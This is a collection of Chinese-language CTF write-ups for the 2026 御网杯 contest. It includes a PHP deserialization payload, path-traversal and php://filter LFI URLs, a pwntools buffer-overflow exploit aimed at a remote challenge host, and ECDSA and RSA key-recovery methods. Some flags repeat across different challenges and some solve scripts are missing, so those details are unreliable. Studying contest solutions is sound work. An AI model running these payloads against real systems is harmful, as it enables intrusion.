2026 御网杯 CTF Writeup 合集

2026 御网杯 CTF Writeup 合集

2026年御网杯网络安全大赛完整 Writeup,涵盖签到题、Reverse、Web、Crypto、Misc、PWN 等多个方向的详细解题过程和代码分析。

签到题

拿到附件之后直接解压发现压缩包错误,将其改成txt格式发现内容为"通过百度下载"。

下载解压打开后发现是明显的base64格式,将bWdnbA==放入工具进行解码得到mggl

最终 Flag

text
flag{mggl}

Reverse - rerere

题目分析

拿到题目文件 rerere.exe,首先进行基础信息识别:

bash
file rerere.exe

输出:

text
PE32+ executable (console) x86-64

说明这是一个 64 位 Windows 程序。

静态分析

将程序导入 IDA / Ghidra 进行分析。

在 main 函数中可以看到:

  • 程序读取用户输入
  • 对输入长度进行判断:0x26 = 38字节
  • 随后进入核心校验逻辑

核心校验逻辑反汇编后可以还原出如下伪代码:

c
for (int i = 0; i < 38; i++) {
    tmp = input[i] ^ key[i % 8];
    if (table[tmp] != target[i]) {
        return "Wrong";
    }
}
return "Correct";

关键点:

数据说明
key8字节循环密钥
table256字节 S-box
target目标密文

逆向思路

验证逻辑是:

text
table[input[i] XOR key[i % 8]] == target[i]

我们需要反推 inputi

逆运算步骤:

  1. 构造 table 的逆映射:
    text
    inv_table[table[x]] = x
    
  2. 推导:
    text
    input[i] XOR key[i % 8] = inv_table[target[i]]
    
  3. 得到:
    text
    input[i] = inv_table[target[i]] XOR key[i % 8]
    

自动化求解脚本

python
# solve_rerere.py

key = [/* 从程序中提取的key */]
table = [/* 256字节 S-box */]
target = [/* 38字节目标数组 */]

# 构造逆表
inv_table = [0]*256
for i in range(256):
    inv_table[table[i]] = i

flag = []
for i in range(len(target)):
    v = inv_table[target[i]]
    c = v ^ key[i % len(key)]
    flag.append(chr(c))

print("FLAG =", "".join(flag))

最终 Flag

text
flag{557050ec8cf8f475b22ad0797f69fe3e}

Web - Snake Game

题目分析

进入网页分析题目发现要到达一定的分数才能过关。打开控制台,输入 score 的值score = 300;发现过关,出现 flag。

最终 Flag

text
flag{9afd633154414519bd1569bfba021c7a}

Web - PHP Payment

题目分析

先看 apply_coupon.php 的核心逻辑:

用户输入的 coupon 经过 Base64 解码后直接丢给 unserialize(),没有任何过滤,这就是漏洞入口。

再看 models.php 里的 PromoManager 类:

php
class PromoManager {
    public promo_code;
    function __destruct() {
        if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
            $_SESSION['balance'] += intval($this->promo_credit);
        }
    }
}

__destruct() 是 PHP 魔术方法,对象生命周期结束时自动调用。这里会把 promo_credit 的数值加到用户余额上。

理解 PHP 序列化格式

PHP 对象序列化后的字符串有固定格式,规则如下:

类型格式示例
整数i:值;i:100000;
字符串s:长度:"内容";s:4:"flag";
空字符串s:0:"";s:0:"";
对象O:类名长度:"类名":属性数量:{属性}O:12:"PromoManager":2:{...}

PromoManager 有 2 个属性:promo_credit(整数)和 promo_code(字符串)。

手工拼装序列化字符串:

text
O:12:"PromoManager":2:{ ← 对象头:类名12字符,2个属性
s:12:"promo_credit";i:100000; ← 属性1:字符串"promo_credit" → 值100000
s:10:"promo_code";s:0:""; ← 属性2:字符串"promo_code" → 空字符串
}

去掉换行和缩进,得到最终序列化串:

text
O:12:"PromoManager":2:{s:12:"promo_credit";i:100000;s:10:"promo_code";s:0:"";}

进行 Base64 编码即可使用。

最终 Flag


Web - OA

题目基本信息

这是一道本地文件包含(LFI)的题目,题目地址在 http://120.27.146.76:26111/?module=public_notices.php,难度比较友好。

开始分析

拿到题目后第一件事就是先看看网页结构。URL 里有个 module 参数,值是 public_notices.php,直觉告诉我这里可能有戏。

试着用 php://filter 把 index.php 的源码读出来:

text
http://120.27.146.76:26111/?module=php://filter/read=convert.base64-encode/resource=index.php

解码后核心代码就这几行:

php
<?php
$module = isset($_GET['module']) ? $_GET['module'] : 'public_notices.php';
$module = str_replace('../', '', $module);
?>

页面会 include($module) 把文件包含进来。问题出在 str_replace,这里用了一个非常 naive 的过滤——只替换了一次 ../

绕过思路

str_replace('../', '', $module) 这个过滤看起来很唬人,但仔细想想其实很容易绕过。

关键点:它是单次替换,不是递归的。

所以如果输入 ....//

  • 第一次匹配到 ../,被替换成空
  • 结果还剩下 ../

这样不就绕过了吗!再多写几个 ....// 就能一路跳到根目录。

实际输入替换后效果
....//....//....//flag.txt../../../../flag.txt跳到根目录读取flag

实际利用

直接构造 URL:

text
http://120.27.146.76:26111/?module=....//....//....//flag.txt

访问一下,Flag 就直接出来了:

html
<div>
flag{3cfa5529136b615b56446a8323b80ebe}
</div>

简单粗暴,直接拿到 flag。

最终 Flag

text
flag{3cfa5529136b615b56446a8323b80ebe}

Misc - 迷宫题目

这是一道叫「迷宫(maze_02)」的题目,属于 Misc 类,主要考压缩包套娃和 Base64。

解题过程

拿到附件 maze_02.zip 后,先看看里面有什么:

bash
unzip -l maze_02.zip

输出:

text
Archive: maze_02.zip
  Length Date Time Name
---------- ---------- ----------
       424 2026-03-31 12:54 layer1/data2.zip
         0 2026-03-31 12:54 layer1/

里面是 layer1/data2.zip,继续解压下去:

bash
unzip maze_02.zip
unzip -l layer1/data2.zip

第二层内容:

text
Archive: layer1/data2.zip
  Length Date Time Name
---------- ---------- ----------
       523 2026-03-31 12:54 secret3/hidden4.zip
         0 2026-03-31 12:54 secret3/

继续解压第三层 hidden4.zip:

bash
unzip layer1/data2.zip
unzip -l secret3/hidden4.zip

这里发现有个隐藏目录 .config!完整内容如下:

text
Archive: secret3/hidden4.zip
  Length Date Time Name
---------- ---------- ----------
        46 2026-03-31 12:54 .config/user/backup5/vault.bin
         0 2026-03-31 12:54 .config/
         0 2026-03-31 12:54 .config/user/
         0 2026-03-31 12:54 .config/user/backup5/

解包后 cat 看看这个 vault.bin:

bash
unzip secret3/hidden4.zip
cat .config/user/backup5/vault.bin

内容是:

text
NWRmNDYzZDVlZTg0Yjg5ODFlY2U0NGFiNTE0OTFmNDA=60

前面那段看起来像 Base64 编码,后面那个 60 应该是干扰字符,直接去掉,然后解码:

bash
echo 'NWRmNDYzZDVlZTg0Yjg5ODFlY2U0NGFiNTE0OTFmNDA=60' | sed 's/60$//' | base64 -d

解码结果就是 Flag 的核心值了。

最终 Flag

text
flag{5df463d5ee84b8981ece44ab51491f40}

Crypto - Baby RSA

题目概况

这是一道 RSA 密码学题目,附件里有 task(1).py 和 output.txt。

先看一下加密脚本的核心逻辑:

python
from Crypto.Util.number import bytes_to_long, getPrime
from secret import flag

m = bytes_to_long(flag)
e = 3

p = getPrime(512)
q = getPrime(512)
n = p * q

c = pow(m, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")

发现问题

关键点:题目用的是 e = 3,而且没做任何 padding。

RSA 公式是 c = m^e mod n,这里 e 只有 3。如果明文 m 够短,满足 m^3 < n,那模运算根本不会生效,密文实际上就等于 c = m^3。

也就是说,可以直接对 c 开三次方就能拿到明文了。

最终 Flag

text
flag{2f1011202ab5318090e626ede3d99e46}

Crypto - ECDSA nonce 重用

题目情况

题目给了同一公钥下两条消息的 ECDSA 签名。关键信息是:平台在签名时犯了个错——复用了同一个随机数 k。

challenge.json 里有这些字段:

json
{
    "public_key_x": "...",
    "public_key_y": "...",
    "message1": "...",
    "message2": "...",
    "signature1_r": "...",
    "signature1_s": "...",
    "signature2_r": "...",
    "signature2_s": "...",
    "curve": "SECP256k1"
}

注意到一个细节:signature1_r == signature2_r,也就是两次签名的 r 值相同。这在 ECDSA 里是个大问题。

漏洞原理

ECDSA 签名公式:

text
r = (kG).x mod n
s = k^(-1) * (z + r * d) mod n

两条消息签名时用了同一个 k:

text
s1 = k^(-1) * (z1 + r * d) mod n
s2 = k^(-1) * (z2 + r * d) mod n

两式相减:

text
s1 - s2 = k^(-1) * (z1 - z2) mod n

然后就能算出 k:

text
k = (z1 - z2) * inverse(s1 - s2, n) mod n

拿到 k 之后,私钥 d 就出来了:

text
d = (s1 * k - z1) * inverse(r, n) mod n

解题脚本

运行结果

nonce k = b02e9e901592412982f0517fd80b4a3dc86e4062a021ba468fd65ca8dc27bcda

private key = 23c559c4d212862cf3cb29c2bc4bc1b1683244b523783aa4bd25d24893fdb280

verify public key x: True verify public key y: True

公钥验证通过,说明私钥恢复正确。

最终 Flag

text
flag{ecdsa_nonce_reuse_23c559c4d212862cf3cb29c2bc4bc1b1}

Crypto - DES 加密验证

题目概况

这是一道 Android Reverse + Crypto 的题目,附件是 CrackMe_2_2.zip。

分析过程

先解压附件:

bash
unzip CrackMe_2_2.zip

得到 CrackMe_2_2.apk,继续解压看看里面:

bash
unzip CrackMe_2_2.apk -d apk

发现了 native so 文件:apk/lib/x86/libcrackme2.so,看来关键逻辑在 native 层。

字符串分析

用 strings 命令扫一下 so 文件:

bash
strings -a apk/lib/x86/libcrackme2.so | grep -E "flag|verify|des|12345678|666c"

输出里有几个关键信息:

text
_Z10verifyFlagP7_JNIEnvP7_jclassP8_jstring
_Z15des_ecb_encryptPKhiS0_Ph
_Z11des_encryptPKhS0_Ph
_Z11des_decryptPKhS0_Ph
666c61677b484e43544636325244594e54464d5a3154467d0808080808080808
verifyFlag
12345678

这里能看到 DES 加密函数、校验函数 verifyFlag,还有疑似密钥 12345678 和一串十六进制数据。

直接解码

那串十六进制看起来很像 flag,直接用 Python 解码看看:

python
hex_data = "666c61677b484e43544636325244594e54464d5a3154467d0808080808080808"
data = bytes.fromhex(hex_data)
print(data)

输出:

text
b'flag{HNCTF62RDYNTFMZ1TF}\x08\x08\x08\x08\x08\x08\x08\x08'

前面已经是完整的 flag 了!后面那 8 个 \x08 是 PKCS#7 padding,因为 DES 是 8 字节分组,刚好需要补 8 个字节。

去除 padding

写个小脚本处理一下:

python
hex_data = "666c61677b484e43544636325244594e54464d5a3154467d0808080808080808"
data = bytes.fromhex(hex_data)
pad_len = data[-1]
flag = data[:-pad_len]
print(flag.decode())

输出:

text
flag{HNCTF62RDYNTFMZ1TF}

最终 Flag

text
flag{HNCTF62RDYNTFMZ1TF}

Crypto - ChaCha20

题目概况

这是一道 Android APK 逆向题,关键算法在 native 层。

开始分析

先解压 APK 看看结构:

bash
file CrackMe_1_7.apk
unzip -q CrackMe_1_7.apk -d apk_out
find apk_out -maxdepth 3 -type f | grep -E "classes|lib|AndroidManifest"

发现了多个 dex 文件和 native so:

text
classes.dex
classes2.dex
classes3.dex
classes4.dex
lib/x86/libmyapplication.so

看来核心逻辑在 native 层。

找 Java 层入口

扫一下 dex 里的字符串:

bash
strings apk_out/classes3.dex | grep -E "NativeBridge|MainActivity|flag|SuccessActivity"

找到关键类:

text
Lcom/cr/myapplication/MainActivity;
Lcom/cr/myapplication/NativeBridge;
Lcom/cr/myapplication/SuccessActivity;

应用会调用 NativeBridge 进行校验,校验成功跳到 SuccessActivity。

定位 native 函数

看看 so 文件里有什么:

bash
strings -a apk_out/lib/x86/libmyapplication.so | grep -E "NativeBridge|d097|0123456789abcdef"
readelf -sW apk_out/lib/x86/libmyapplication.so | grep -E "JNI_OnLoad|Java_"

找到了关键数据:

text
com/cr/myapplication/NativeBridge
d097c3f6d203a152c851a9318b93e9e5ef63f34925c6ccdb
0123456789abcdef

d097c3f6d203a152c851a9318b93e9e5ef63f34925c6ccdb 是目标密文,0123456789abcdef 用来转十六进制。

程序通过 RegisterNatives 动态注册了三个 native 方法:

方法名签名作用
a([B)[B加密辅助
b([B)[B加密辅助
c(Ljava/lang/String;)Zflag校验

重点分析 NativeBridge.c(String) 对应的函数。

识别 ChaCha20 算法

反汇编 so 找 ChaCha20 常量:

bash
objdump -d -M intel apk_out/lib/x86/libmyapplication.so | grep -iE "61707865|3320646e|79622d32|6b206574"

找到:

text
mov DWORD PTR [ebp-0x4c],0x61707865
mov DWORD PTR [ebp-0x48],0x3320646e
mov DWORD PTR [ebp-0x44],0x79622d32
mov DWORD PTR [ebp-0x40],0x6b206574

按小端序还原:

text
expand 32-byte k

这是 ChaCha20 的标准常量!函数里还有 10 轮循环,每轮包含列轮和对角轮,确认就是 ChaCha20。

提取参数

从 native 函数中提取到:

text
key = 149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f
nonce = 44332211abcdef668899aa55
counter = 1
cipher = d097c3f6d203a152c851a9318b93e9e5ef63f34925c6ccdb

ChaCha20 是流加密,加密和解密都是和同一个 keystream 异或,直接对密文做 ChaCha20 运算就能得到明文。

解密脚本

运行结果:

text
flag{HNCTF62RDYNTFMZ1TF}
verify: d097c3f6d203a152c851a9318b93e9e5ef63f34925c6ccdb

验证通过!

最终 Flag

text
flag{HNCTF62RDYNTFMZ1TF}

Crypto - 像素中的秘密

题目概况

这是一道 PNG 文件结构隐写题,附件是 image_09.png。

开始排查

拿到图片先从几个常见方向检查:

  • 图片尺寸、颜色分布是否异常
  • 是否存在 LSB 隐写
  • PNG chunk 结构是否完整
  • 文件末尾是否有额外数据

检查完发现,图片本身没有明显像素隐写特征。真正有用的数据不在像素里,而是藏在 PNG IEND 结束块之后。

PNG 文件正常以 IEND chunk 结束。如果 IEND 后面还有额外字节,一般不影响图片打开,但出题人可能会用来藏东西。

提取隐藏数据

解析 PNG chunk 后,在 IEND 后发现了一段 64 字节的额外数据:

text
0000000069cb3445d5dd713d5d0e34cec22eb9484e1bba9045ffd4bb0c11026cb206bcc5cb28dc03d1ace75dedc106ad28679a31dc8b6ef5d0ef82f90493d63d

这 64 字节的结构是:

部分内容
前 4 字节保留字段
中间 4 字节LCG 初始 seed
剩余字节加密后的数据

拆分一下:

text
reserved = 00000000
seed = 69cb3445
cipher = d5dd713d5d0e34cec22eb9484e1bba9045ffd4bb0c11026cb206bcc5cb28dc03d1ace75dedc106ad28679a31dc8b6ef5d0ef82f90493d63d

seed 转成整数是 0x69cb3445。

还原加密流程

密文不是直接编码的 flag,而是先经过了一层异或加密。key 不是固定的,是用 LCG 伪随机数生成器产生的。每处理一个字节就更新一次 LCG 状态,取最低字节作为异或 key。

LCG 递推公式:

python
state = (1664525 * state + 1013904223) & 0xffffffff
key = state & 0xff

然后和密文异或:

python
plain_byte = cipher_byte ^ key

对整段密文处理后得到:

text
5bctImRCJiCYrptEu06bhb4qjQvdGSBfQsU4YB

这不是最终 flag,是一段 Base62 编码。

Base62 解码

Base62 用的字符表:

text
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

解码后就得到 flag。

完整脚本

运行结果

text
[+] file: image_09.png
[+] extra length: 64
[+] extra hex: 0000000069cb3445d5dd713d5d0e34cec22eb9484e1bba9045ffd4bb0c11026cb206bcc5cb28dc03d1ace75dedc106ad28679a31dc8b6ef5d0ef82f90493d63d
[+] reserved: 00000000
[+] seed: 0x69cb3445
[+] cipher length: 56
[+] after lcg xor: 5bctImRCJiCYrptEu06bhb4qjQvdGSBfQsU4YB
[+] flag: flag{known_plaintext_attack}

最终 Flag

text
flag{known_plaintext_attack}

PWN - NoteService

题目概况

这是一道 PWN 题,附件是 vuln,一个 64 位 ELF 可执行文件。

checksec 检查

bash
checksec vuln

输出:

text
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

没有 canary,没有 PIE,可以直接打 ret2text。

Exploit 脚本

最终 Flag

text
flag{e9384c4d9ffb475c906dc4c92c39fcd3}

PWN - Authenticate

题目概况

这是一道 PWN 题,附件是 vuln。

漏洞分析

漏洞类型是 ret2backdoor,gets() 溢出覆盖返回地址跳转到 secret_note。

偏移量:0x40 + 8 = 72

ROP 链(用 ret gadget 做栈对齐):

text
padding(72) + ret_gadget(0x40101a) + secret_note(0x401196)

Exploit 脚本

python
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
host = '47.99.147.34'
port = 21395
elf = ELF('./vuln')

offset = 72
ret = 0x40101a
secret_note = 0x401196

payload = b'A' * offset
payload += p64(ret)
payload += p64(secret_note)

io = remote(host, port)
io.sendline(payload)
io.interactive()

最终 Flag

text
flag{e9384c4d9ffb475c906dc4c92c39fcd3}

Misc - 幻影

题目概况

这是一道 Misc 文件隐写题,附件是 data.bin。

开始分析

先用 file 命令看看文件类型:

bash
file data.bin

输出:

text
data.bin: RAR archive data

然后用 strings 扫一下:

bash
strings -a data.bin

找到关键提示:

text
REMEMBER: FLAG IS HIDDEN IN BASE64 PLUS XOR!
FAKE FLAG: flag{00000000-0000-0000-0000-000000000000}
DO NOT TRUST THIS ONE!
X1VYXkJcAAsIDgEIABQJCVgLFA0BDgEUWwoLARRYWFpbCg8LXwBfWgBE

有个假 flag:flag{00000000-0000-0000-0000-000000000000},但题目说"DO NOT TRUST THIS ONE!",说明这个不能提交。

真正有用的是提示:FLAG IS HIDDEN IN BASE64 PLUS XOR!

说明真实 flag 经过了 Base64 + XOR 两层处理。

提取并解码

从文件末尾提取出这段 Base64:

text
X1VYXkJcAAsIDgEIABQJCVgLFA0BDgEUWwoLARRYWFpbCg8LXwBfWgBE

先用 Python Base64 解码:

python
import base64
s = "X1VYXkJcAAsIDgEIABQJCVgLFA0BDgEUWwoLARRYWFpbCg8LXwBfWgBE"
raw = base64.b64decode(s)
print(raw)

解码后得到一堆不可读的字节,说明还需要 XOR 解密。

单字节 XOR 爆破

没有给密钥,但提示说用了 XOR,可以尝试爆破。常见 flag 格式是 flag{...},遍历 0x00 到 0xff 的单字节密钥,找结果里有没有 flag{。

python
import base64
s = "X1VYXkJcAAsIDgEIABQJCVgLFA0BDgEUWwoLARRYWFpbCg8LXwBfWgBE"
raw = base64.b64decode(s)
for key in range(256):
    out = bytes([b ^ key for b in raw])
    if b"flag{" in out:
        print("key =", hex(key))
        print(out.decode())

运行结果:

text
key = 0x39
flag{e9217819-00a2-4878-b328-aacb362f9fc9}

XOR 密钥是 0x39。

最终 Flag

text
flag{e9217819-00a2-4878-b328-aacb362f9fc9}

Web - 税务数据金库 2026

这是一道 Web 题,用到了 Flask SSTI 和信息泄露。

靶机地址:47.99.147.34:16610

凭据:admin / 123456

初步访问

访问 http://47.99.147.34:16610,页面标题是「税务数据金库 2026 - 安全登录」。

响应头信息:

text
Server: Werkzeug/2.0.1 Python/3.9.25

一看就知道是 Flask(Jinja2 模板引擎)的 Web 应用。页面有个登录表单,POST 到 /login。

登录进去

用 admin / 123456 登录:

text
POST /login
Content-Type: application/x-www-form-urlencoded

username=admin&password=123456

返回 302 Found,Set-Cookie 里有 Flask session:

text
session=eyJyb2xlIjoiYWRtaW4iLCJ1c2VyX2lkIjoxfQ...

Base64 解码一下:

json
{"role": "admin", "user_id": 1}

登录成功。

查看 /preview 端点

根据提示,/preview/{id} 端点在 state == 'AUDIT_PENDING' 时,会把 custom_footer 拼进模板,然后用 render_template_string() 渲染,存在 SSTI。

遍历 /preview/1 ~ /preview/3 的结果:

ID状态码Tax Year状态Declared Incomecustom_footer 渲染结果
12002025AUDIT_PENDING$flag{...}<function Cycler.next at 0x7f...>
22002026AUDIT_PENDING$0test
32002026AUDIT_PENDING$0hello

/preview/1 的 custom_footer 里 被渲染成 Python 函数对象,确认存在 SSTI。

拿到 Flag

不过其实根本不用 SSTI,Flag 直接暴露在 /preview/1 的 Declared Income 字段里:

html
<div>
<span class="font-bold text-gray-600">Declared Income:</span>
$flag{c5b34df2e74dc988b73fdca3541f9238}
</div>

最终 Flag

text
flag{c5b34df2e74dc988b73fdca3541f9238}

Reverse - 字节码迷踪

题目信息

项目内容
题目名称Python Bytecode Reverse
题目类型Reverse Engineering
难度等级Easy
所属比赛御网杯

开始分析

题目给了一个 .pyc 文件,要求从中提取 flag。

.pyc 文件结构

.pyc 是 Python 编译后的字节码文件,包含:

  • 头部(16字节):魔数、版本信息、时间戳
  • Code Object:marshal 序列化的代码对象

反编译方法

用 uncompyle6 或 pycdc 工具反编译:

bash
uncompyle6 main.pyc > main.py

解题

反编译后在 main 函数里看到了 base64 编码的字符串:

python
data = base64.b64decode("aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly")

先做 Base64 解码:

python
import base64
encoded = "aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly"
decoded = base64.b64decode(encoded)
# 结果: b'icnhtkky`?fah\"wy<7\"}}7j\"<f=8\"yvgc~|m?7ccyr'

然后看到有常量 15,用 XOR 0x0f 解密:

python
flag = ''.join(chr(b ^ 15 for b in decoded))

完整脚本

python
#!/usr/bin/env python3
import base64

def main():
    encoded_data = "aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly"
    decoded_bytes = base64.b64decode(encoded_data)
    flag = ''.join(chr(b ^ 0x0f) for b in decoded_bytes)
    print(flag)

if __name__ == "__main__":
    main()

最终 Flag

text
flag{ddvo0ing-xv38-rr8e-3i27-vyhlqsb08llv}

Crypto - ScatterRSA7

题目概况

这道题目的类型是 Crypto / RSA / Håstad Broadcast Attack / Coppersmith 小根攻击。

附件有两个文件:

  • task(2).py
  • output(1).txt

先看一下 task(2).py 里的核心逻辑:

python
from secret import flag
from Crypto.Util.number import *
import random

m = bytes_to_long(flag)
e = 3

print(f"e = {e}")

for i in range(3):
    p = getPrime(512)
    q = getPrime(512)
    n = p * q
    a = random.getrandbits(128) | (1 << 127)
    b = random.getrandbits(256) | (1 << 255)
    c = pow(a * m + b, e, n)
    print(f"n{i+1} = {n}")
    print(f"a{i+1} = {a}")
    print(f"b{i+1} = {b}")
    print(f"c{i+1} = {c}")

可以看到不是普通的 RSA 加密,而是先对明文 m 做个线性变换:a * m + b,然后再做 e=3 次幂。

output(1).txt 里给了三组 n, a, b, c:

  • n1, a1, b1, c1
  • n2, a2, b2, c2
  • n3, a3, b3, c3

漏洞分析

题目不是普通 RSA 直接加密,而是先对明文 m 做线性变换 a * m + b,然后再进行 RSA 加密,也就是:

text
c_i = (a_i * m + b_i)^e mod n_i

也就是:

text
(a_i * m + b_i)^e - c_i ≡ 0 mod n_i

一共给了三组不同模数,三组数据加密的是同一个明文 m。

公共指数 e = 3,同源明文加密有三组,可以用 Håstad Broadcast Attack 的变形。这里填充不是相同明文直接加密,而是公开线性填充 a_i * m + b_i,但 a_i 和 b_i 都是已知的,所以构造关于同一个未知数 m 的三次多项式同余方程,用 CRT 合并,再用 Coppersmith 小根攻击恢复明文。

求解过程

对每组数据构造多项式:

text
f_i(x) = (a_i * x + b_i)^e - c_i

真实明文 m 满足 f_i(m) ≡ 0 mod n_i

然后用 CRT 把三个多项式合并到模 N = n1 * n2 * n3 下,得到新的多项式 F(x) ≡ 0 mod N

因为 flag 转成长整数后相对 N 很小,所以 m 是 F(x) 的小根。

最后用 SageMath 的 small_roots() 求小根,再将整数转回 bytes,就能恢复 flag 了。

求解脚本

用 SageMath 运行这个脚本:

脚本说明

核心合并部分:

python
for ni, ai, bi, ci in zip(n_list, a_list, b_list, c_list):
    Ni = N // ni
    ti = inverse_mod(Ni, ni)
    F += Ni * ti * ((ai * x + bi)^e - ci)

这里用 CRT 系数:Ni = N // ni,ti = inverse_mod(Ni, ni),构造出在模 ni 下等价于原多项式、在其他模数下为 0 的组合项。

这样累加以后,F(x) 同时满足三组同余关系:

text
F(m) ≡ 0 mod n1
F(m) ≡ 0 mod n2
F(m) ≡ 0 mod n3

也就是 F(m) ≡ 0 mod N

然后用:

python
F = F.monic()
roots = F.small_roots(X=2^400, beta=1)

寻找模 N 下的小根。

X=2^400 是明文大小上界。一般 CTF 里 flag 只有几十字节,转成整数后远小于这个范围。

最后用 long_to_bytes 把整数形式的明文还原成字符串。

运行结果

运行脚本后得到:

text
b'flag{674814b9dd6e672e2cea23c96afd0e9a}'

最终 flag 就是这个:

text
flag{674814b9dd6e672e2cea23c96afd0e9a}
新故事即将发生
爱心鼠标跟随特效

评论区

评论加载中...